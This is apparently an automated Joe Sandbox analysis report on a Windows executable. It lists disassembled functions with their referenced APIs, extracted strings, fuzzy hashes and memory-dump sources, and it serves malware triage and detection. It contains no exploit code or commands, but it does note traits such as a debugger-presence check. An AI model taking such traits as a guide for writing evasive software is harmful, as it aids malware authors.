API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: f7243777a27f5be818cc7d63d64433997444016a51d32ac06cccdb9f260b2d49
Instruction ID: 4db96298798f0524e0f7c4cad78e7b1bd9d709169443a452820f34dc0629f43e
Opcode Fuzzy Hash: f7243777a27f5be818cc7d63d64433997444016a51d32ac06cccdb9f260b2d49
Instruction Fuzzy Hash: DA218372700901AAEB348F14CD42B97F6E6EF64B54B5684E6E90AE7310FB32DD41C790

Function 004241E0 Relevance: 8.0, Strings: 6, Instructions: 461COMMON

Download Yara Rule

Strings

)6, xrefs: 00424294
){zy, xrefs: 00424385
sq, xrefs: 00424375
)B, xrefs: 0042428C
GB, xrefs: 00424707
|~, xrefs: 00424284

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID:
String ID: GB$){zy$)6$)B$|~$sq
API String ID: 0-1292531311
Opcode ID: 4e9632e30ef22d1c9d691365c99381acfbe6c67ba9f7670632b71d0e3dce93d0
Instruction ID: 71584c7dd643340a7c9b4b8dcbaefec527e76613856c743693e70a6483ef5efc
Opcode Fuzzy Hash: 4e9632e30ef22d1c9d691365c99381acfbe6c67ba9f7670632b71d0e3dce93d0
Instruction Fuzzy Hash: E1C123B16083208BD724DF25E85276BB7F1EFD2354F588A1DE4D58B390EB389805CB96

Function 00BD4926 Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BCF9CB: GetLastError.KERNEL32(00000000,?,00BD1D01), ref: 00BCF9CF
Part of subcall function 00BCF9CB: SetLastError.KERNEL32(00000000,?,?,00000028,00BCA98F), ref: 00BCFA71

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 00BD4A2E
IsValidCodePage.KERNEL32(00000000), ref: 00BD4A6C
IsValidLocale.KERNEL32(?,00000001), ref: 00BD4A7F
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00BD4AC7
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00BD4AE2

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 1f88c47bd9bec80e66eb3e50bf54812b3c63bce88b4afa942f88de7f0911cf92
Instruction ID: aad8c6a5c21427488f762a4e0b6ea3725cc816ecef34e7247ea368347b41fc4f
Opcode Fuzzy Hash: 1f88c47bd9bec80e66eb3e50bf54812b3c63bce88b4afa942f88de7f0911cf92
Instruction Fuzzy Hash: D4514C71A00205AFDB10DFA5DC85BAEB7F8EF19701F1545AAE910EB290FB70DA00CB61

Function 00BCC870 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd75ffd76165e19137e0b0c20db2cd9f8180ca2029d34b93e14d1d1f846bb4c4
Instruction ID: 6c83d2f1f0f669b318d62b0f49a6bcd7551615a987fd61a833cacaa79236ec6b
Opcode Fuzzy Hash: cd75ffd76165e19137e0b0c20db2cd9f8180ca2029d34b93e14d1d1f846bb4c4
Instruction Fuzzy Hash: 1E022A71E012199BDB14CFA9D880BAEBBF1FF58314F2482ADE519E7341D731AD418B94

Function 0041E298 Relevance: 6.3, APIs: 4, Instructions: 347COMMON

Download Yara Rule

APIs

FindWindowExW.USER32(00000000,?,A3D19DEA,00000000), ref: 0041E410

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID: FindWindow
String ID:
API String ID: 134000473-0
Opcode ID: 611df0e037769dfec0ccbd250f884b13fa727b7773da6a687875ef7a21337769
Instruction ID: 8cc40bb880943b3fdd4a09bf692fc47349ab873484ee8d2c9c2d8e6455f3c944
Opcode Fuzzy Hash: 611df0e037769dfec0ccbd250f884b13fa727b7773da6a687875ef7a21337769
Instruction Fuzzy Hash: 21D1E2796083518FC725CF29D84069FBBE2EFC9308F08896EE4859B391DB74D945CB86

Function 00BD566D Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00BD575D

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: b12be93f9f424d2e569b7f0b39510d14b1f4d237ad434c9a17b57cf624461fb9
Instruction ID: e86998303687db4e05a817bb81d4f7d934857b308c8959ddd83f731f7cc148c6
Opcode Fuzzy Hash: b12be93f9f424d2e569b7f0b39510d14b1f4d237ad434c9a17b57cf624461fb9
Instruction Fuzzy Hash: 5571E171905559AFDB30AF28CC89ABAFBF9EB05300F5441EAE049A7311EA319E859F14

Function 00BC0D3E Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00BC0D4A
IsDebuggerPresent.KERNEL32 ref: 00BC0E16
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00BC0E36
UnhandledExceptionFilter.KERNEL32(?), ref: 00BC0E40

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 8830399152149582576a4d3f17d13e89694bdd86523170f88eccb95077b790a2
Instruction ID: e22144329eff78acda71640d853957dc93f00c1f07c3e97a47c230836837f337
Opcode Fuzzy Hash: 8830399152149582576a4d3f17d13e89694bdd86523170f88eccb95077b790a2
Instruction Fuzzy Hash: 3F31E575D55218DBDB20EFA4D989BCDBBF8AF18300F1041EAE409AB250EB719A858F45

Function 004431D0 Relevance: 4.4, Strings: 3, Instructions: 680COMMON

Download Yara Rule

Strings

"5D, xrefs: 004434F8
@3D, xrefs: 0044336E
G3D, xrefs: 0044331A

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID:
String ID: "5D$@3D$G3D
API String ID: 0-1898335559
Opcode ID: a598e15b9f950c49bbc2326d93c3944d1d2eb3f819a396320624b7d3d119b0a3
Instruction ID: 0d27d5ca0624dddcec474f96472bfb5c1ea38ed4ad0558f269f9c7dbbb12b3c7
Opcode Fuzzy Hash: a598e15b9f950c49bbc2326d93c3944d1d2eb3f819a396320624b7d3d119b0a3
Instruction Fuzzy Hash: BF12FF39A05211CFDB18CF68D8906AEB7F2FB8A315F19847DC946A7352D335AD06CB84

Function 004432C0 Relevance: 4.4, Strings: 3, Instructions: 637COMMON

Download Yara Rule

Strings

"5D, xrefs: 004434F8
@3D, xrefs: 0044336E
G3D, xrefs: 0044331A

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID:
String ID: "5D$@3D$G3D
API String ID: 0-1898335559
Opcode ID: 17224c73dc5f5cce02b72de51cf9a04c92f2e2c01acddb2e884a7e03e58e1cd1
Instruction ID: f5333144ef70c2a173cc619d7536ed6f405604b094df42d2374a6f5ff99be012
Opcode Fuzzy Hash: 17224c73dc5f5cce02b72de51cf9a04c92f2e2c01acddb2e884a7e03e58e1cd1
Instruction Fuzzy Hash: 2C020F39A05211CFDB18CF68D8906AEB7F2FB8A315F19847DD846A7342D335AD06CB94

Function 0040E8D6 Relevance: 3.8, Strings: 3, Instructions: 52COMMON

Download Yara Rule

Strings

:g;1, xrefs: 0040E8DE
%!-0, xrefs: 0040E906
j, xrefs: 0040E91D

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID:
String ID: %!-0$:g;1$j
API String ID: 0-565037024
Opcode ID: 7b9a6866fc4e5d30e60d019d32dbd4ea46c18ece08942ca496210e84bbbb75cb
Instruction ID: 32df4f5ca928b1c4db86954fec2fd0b7d1b741fb7c4248b2e7c729c7ce3ce05b
Opcode Fuzzy Hash: 7b9a6866fc4e5d30e60d019d32dbd4ea46c18ece08942ca496210e84bbbb75cb
Instruction Fuzzy Hash: D111BFB0209380CBC3558F3A945052BFBE0EB82708F585E6DE0D27B391D374CD1A9B4A

Function 0040E996 Relevance: 3.8, Strings: 3, Instructions: 25COMMON

Download Yara Rule

Strings

j, xrefs: 0040E9DD
:g;1, xrefs: 0040E99E
%!-0, xrefs: 0040E9C6

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID:
String ID: %!-0$:g;1$j
API String ID: 0-565037024
Opcode ID: fa23b5c8106c8b6eb18a1e5e27922acec8cb3fb0240a5a66eefb843f2f12593b
Instruction ID: 596850defd4a036336a324cb21a7a3242656b73628fcb9d0064f5a2a21d3f7d4
Opcode Fuzzy Hash: fa23b5c8106c8b6eb18a1e5e27922acec8cb3fb0240a5a66eefb843f2f12593b
Instruction Fuzzy Hash: A8F044A00083408BC7018F29955141BFFE0FB96218F806E2CE0E67B282D3B4C60A8B4B

Function 0042E870 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

", xrefs: 0042EA6E

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction ID: b5b56033d86e36a5a2f775e18004cfca431a6ac7bf94099ec4257ac67d618ec2
Opcode Fuzzy Hash: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction Fuzzy Hash: 80710D32B083354BD714CE2AD48031FBBE2ABC5710F99896FE4D597351D639EC45878A

Function 0042CA72 Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dac00791858fab75043c3ebe8725bd6b90e717e613227aa0d7df2b38d43a0c8
Instruction ID: 675397662e7d35c3e988c68934b2adc1cfbc6c7944ee00e9ec449aaad2b39987
Opcode Fuzzy Hash: 3dac00791858fab75043c3ebe8725bd6b90e717e613227aa0d7df2b38d43a0c8
Instruction Fuzzy Hash: 32911271A483258BD320EF55D89172BB3A1FFD1354F48892EE8C54B390E778D905CB9A

Function 00405820 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9b9628c1fd3a7af3e7b851a87d3cce98a572a95508a51e7ee5e35bc07ab5006
Instruction ID: 6fa81707170a7b0eec34b7c549ef7d1de648c0191335202d19104e511ca05f9f
Opcode Fuzzy Hash: a9b9628c1fd3a7af3e7b851a87d3cce98a572a95508a51e7ee5e35bc07ab5006
Instruction Fuzzy Hash: CB51C0B5A042009FC714EF18D880927B7A1FF84328F19467EE899AB392D735EC51CF95

Function 0043B170 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d624a46ec4e71eabbd80c37bbad157a9d24962d0d9c9ffba726a93ffd2bd3c95
Instruction ID: a6169620d5a1696827cd8f84d74400514db1317b9fd11854ebdf9f64215e6560
Opcode Fuzzy Hash: d624a46ec4e71eabbd80c37bbad157a9d24962d0d9c9ffba726a93ffd2bd3c95
Instruction Fuzzy Hash: D8314A76B043046BE710A9659C85F3B729ADBC8758F04057EFE4493252F739EC0183E6

Function 0040C960 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e39b47d5e8a9fdadff90607e363d12ddf690496f365585e828c43316a0f8579
Instruction ID: 6806c5bbc4d6b822e97fdcaec603f9dae13aeb23598a5c10dbecc01c31c55fc2
Opcode Fuzzy Hash: 2e39b47d5e8a9fdadff90607e363d12ddf690496f365585e828c43316a0f8579
Instruction Fuzzy Hash: D9317A299492E586C332CA3D84E016EBF906D972247A943FFCCF11F3C3C556898687E5

Function 0041C8CE Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abb1041f84a4648d79a0668f75aff97b8991a851480defd9ebff2808c4dda2e0
Instruction ID: 561eeec7ef4372a3df09e76981c1185a624b11daafb68e3f07fe16c596ccf13b
Opcode Fuzzy Hash: abb1041f84a4648d79a0668f75aff97b8991a851480defd9ebff2808c4dda2e0
Instruction Fuzzy Hash: 733191B15483408BC7349F14C8923EBB7B1FFA6354F14991DE4C95B391E3788981CB9A

Function 0043FAD0 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 182ff49e939f1398294b9512b1f3ca232d73da5c2630492eafcdb88c1e4c075a
Instruction ID: 58e8886864d4165c492f53d94ac2ec571c49354c70431e2038b14aa9fdf686d5
Opcode Fuzzy Hash: 182ff49e939f1398294b9512b1f3ca232d73da5c2630492eafcdb88c1e4c075a
Instruction Fuzzy Hash: 901101B4A193804FD784DF25D89052BBAB4EB8A348F88AC2CE492E7350D738D5028F06

Function 00432088 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9c33f2bce48ae135c24f5ce7bd25ad00db60cde2b19ebbe6d6e038a32b2be15
Instruction ID: 73ba8bc07e1ba15521088f6cccb2f0558f02181132062fbfe265993b15d3b92d
Opcode Fuzzy Hash: e9c33f2bce48ae135c24f5ce7bd25ad00db60cde2b19ebbe6d6e038a32b2be15
Instruction Fuzzy Hash: 6A11E0B45087408FD750DF28C48878ABBE0FB09304F1488ADE899CB346D77AE58ACB91

Function 0042AA60 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96ccec21401edb20b9aceaf9688996d9eeb2ecb12b31d1f3d13a469f16b764ac
Instruction ID: ca966f37c3a7dbe55b207b2fb1d7652738fa600dc0873f2892cf3005b09500ed
Opcode Fuzzy Hash: 96ccec21401edb20b9aceaf9688996d9eeb2ecb12b31d1f3d13a469f16b764ac
Instruction Fuzzy Hash: 6501BCB090D3849BD3449F65C8A571BFFE4AB82318F906D2DF1E28B290C7B98409CF56

Function 00BC15DC Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 167libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00BC15E2
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00BC15F0
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00BC1601
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00BC1612
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00BC1623
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00BC1634
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 00BC1645
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00BC1656
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 00BC1667
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00BC1678
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00BC1689
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00BC169A
GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00BC16AB
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00BC16BC
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00BC16CD
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00BC16DE
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00BC16EF
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 00BC1700
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 00BC1711
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 00BC1722
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 00BC1733
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 00BC1744
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 00BC1755
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 00BC1766
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 00BC1777
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00BC1788
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 00BC1799
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 00BC17AA
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00BC17BB
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00BC17CC
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 00BC17DD
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00BC17EE
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 00BC17FF
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00BC1810
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 00BC1821
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 00BC1832
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 00BC1843
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 00BC1854
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 00BC1865
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 00BC1876
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 00BC1887

Strings

CreateThreadpoolWork, xrefs: 00BC1827
SetThreadpoolWait, xrefs: 00BC16D3
InitializeCriticalSectionEx, xrefs: 00BC1629
FlushProcessWriteBuffers, xrefs: 00BC16F5
CloseThreadpoolWork, xrefs: 00BC1849
CreateSymbolicLinkW, xrefs: 00BC172D
SleepConditionVariableSRW, xrefs: 00BC1816
GetCurrentPackageId, xrefs: 00BC1739
CompareStringEx, xrefs: 00BC185A
LCMapStringEx, xrefs: 00BC187C
WakeAllConditionVariable, xrefs: 00BC17B0
SetThreadpoolTimer, xrefs: 00BC168F
InitializeSRWLock, xrefs: 00BC17D2
InitializeConditionVariable, xrefs: 00BC178E
GetTickCount64, xrefs: 00BC174A
GetSystemTimePreciseAsFileTime, xrefs: 00BC177D
WaitForThreadpoolTimerCallbacks, xrefs: 00BC16A0
AcquireSRWLockExclusive, xrefs: 00BC17E3
CloseThreadpoolTimer, xrefs: 00BC16B1
GetLocaleInfoEx, xrefs: 00BC186B
CreateSemaphoreExW, xrefs: 00BC166D
CreateThreadpoolWait, xrefs: 00BC16C2
GetFileInformationByHandleEx, xrefs: 00BC175B
FlsGetValue, xrefs: 00BC1607
ReleaseSRWLockExclusive, xrefs: 00BC1805
CreateSemaphoreW, xrefs: 00BC165C
GetCurrentProcessorNumber, xrefs: 00BC1717
FreeLibraryWhenCallbackReturns, xrefs: 00BC1706
InitOnceExecuteOnce, xrefs: 00BC163A
SubmitThreadpoolWork, xrefs: 00BC1838
WakeConditionVariable, xrefs: 00BC179F
CloseThreadpoolWait, xrefs: 00BC16E4
FlsAlloc, xrefs: 00BC15EA
TryAcquireSRWLockExclusive, xrefs: 00BC17F4
SleepConditionVariableCS, xrefs: 00BC17C1
FlsFree, xrefs: 00BC15F6
CreateThreadpoolTimer, xrefs: 00BC167E
kernel32.dll, xrefs: 00BC15DD
CreateEventExW, xrefs: 00BC164B
FlsSetValue, xrefs: 00BC1618
SetFileInformationByHandle, xrefs: 00BC176C

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: 3b002ab02ea2afa63cba024747af54f9b24c7414c03de2906c960edbd9c72649
Instruction ID: 9a7d139587a38de7decb06bb1f7d5ed27d12cdc94d573c2afb7d72f25dae122b
Opcode Fuzzy Hash: 3b002ab02ea2afa63cba024747af54f9b24c7414c03de2906c960edbd9c72649
Instruction Fuzzy Hash: BA6128B1962790AFD7406FBEAC4E8E63EE8BA697023408556B105D7272EFF49045CF50

Function 004340F6 Relevance: 26.4, APIs: 1, Strings: 14, Instructions: 104COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 0043413C

Strings

O, xrefs: 0043418B
A, xrefs: 004341D1
G, xrefs: 004341B3
C, xrefs: 004341C7
y, xrefs: 00434159
u, xrefs: 0043416D
I, xrefs: 004341A9
@, xrefs: 004341CC
s, xrefs: 00434177
E, xrefs: 004341BD
w, xrefs: 00434163
M, xrefs: 00434195
q, xrefs: 00434181
K, xrefs: 0043419F

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID: InitVariant
String ID: @$A$C$E$G$I$K$M$O$q$s$u$w$y
API String ID: 1927566239-3739842773
Opcode ID: 15324b135b59c7a619bb96e9100ef1d9eddda05e6b7ce0652f1398ce6b05658a
Instruction ID: cfa59d3dd61b8fc2c8280ba4920ca822f29ebbc03a68f38a0becb94220d4ac66
Opcode Fuzzy Hash: 15324b135b59c7a619bb96e9100ef1d9eddda05e6b7ce0652f1398ce6b05658a
Instruction Fuzzy Hash: 8A51247150C7D08AE325CB28845879FBFD16BE6324F184A9DE4E94B3E2C7B88845C767

Function 004342D4 Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 94COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 004342E2
VariantInit.OLEAUT32 ref: 004342F5

Strings

?, xrefs: 00434371
3, xrefs: 00434349
-, xrefs: 00434317
=, xrefs: 00434321
!, xrefs: 00434367
-, xrefs: 0043433F
2, xrefs: 0043432B
8, xrefs: 00434335
(, xrefs: 0043430D
7, xrefs: 0043435D

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID: Variant$ClearInit
String ID: !$($-$-$2$3$7$8$=$?
API String ID: 2610073882-1101923984
Opcode ID: 55881a7127c08f3ae581755080e2831ff2bafeda491c0d68bfe4e442cdeeea3e
